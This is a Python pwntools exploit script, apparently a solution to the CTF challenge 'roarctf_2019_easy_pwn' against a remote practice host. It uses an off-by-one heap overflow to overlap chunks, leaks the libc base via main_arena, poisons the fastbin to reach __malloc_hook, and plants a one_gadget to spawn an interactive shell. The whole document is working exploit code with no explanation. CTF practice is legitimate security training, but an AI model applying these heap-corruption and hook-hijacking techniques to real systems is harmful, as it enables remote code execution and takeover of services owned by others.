```
from pwn import *

io = remote('node4.buuoj.cn',27243)

#io = process('./roarctf_2019_easy_pwn')

elf = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

context.log_level = 'debug'


def create(size):

    io.recvuntil("choice: ")

    io.sendline(str(1))

    io.recvuntil("size: ")

    io.sendline(str(size))


def write(index,size,content):

    io.recvuntil("choice: ")

    io.sendline(str(2))

    io.recvuntil("index: ")

    io.sendline(str(index))

    io.recvuntil("size: ")

    io.sendline(str(size))

    io.recvuntil("content: ")

    io.send(str(content))


def free(index):

    io.recvuntil("choice: ")

    io.sendline(str(3))
```

```
    io.recvuntil("index: ")

    io.sendline(str(index))


def show(index):

    io.recvuntil("choice: ")

    io.sendline(str(4))

    io.recvuntil("index: ")

    io.sendline(str(index))

create(0x10) #0

create(0x18) #1

create(0x10) #2

create(0x88) #3
create(0x10) #4

#gdb.attach(io)

payload = 'a'*0x10+p64(0)+p8(0xb1)

write(1,0x18+10,payload)

free(2)

#gdb.attach(io)

create(0xa8) #2


payload = 'a'*0x18+p64(0x91)

write(2,0x20,payload)

#gdb.attach(io)

free(3)


show(2)
```

```
io.recvuntil("content: ")

io.recv(0x20)

main_arena = u64(io.recv(6).ljust(8,'\x00'))-88
libc = main_arena - 0x3C4B20

print('main_arena:'+hex(main_arena))

print('libc:'+hex(libc))
#gdb.attach(io)

#io.recv(0x20)


malloc_hook = libc + elf.symbols['__malloc_hook']
realloc_hook = libc + elf.symbols['__libc_realloc']
free_hook = libc + elf.symbols['__free_hook']
system = libc + elf.symbols['system']
print('free_hook:'+hex(free_hook))
print('malloc_hook:'+hex(malloc_hook))

create(0x60) #3
free(3)
payload = 'a'*0x18 + p64(0x71)+p64(malloc_hook-0xb)
write(2,0x28,payload)
create(0x60) #3
create(0x68) #5

payload = '\x00'*0x63 + p64(free_hook-0xb58)[0:6]
write(5,0x68+10,payload)

free(4)

for i in range(11):
    create(256)
'''
payload = '\x00'*0xa8+p64(system)+p64(0)
write(15,0xb8,payload)
#gdb.attach(io)
write(0,8,'/bin/sh\x00')
free(0)'''

one_gadget = libc + 0x4526a
payload = '\x00'*0xa8 + p64(one_gadget)
payload = payload.ljust(256, '\x00')
write(15, 256, payload)

write(0, 16, '/bin/sh\x00'.ljust(16, '\x00'))
#gdb.attach(p)
free(0)
```

```
io.interactive()
```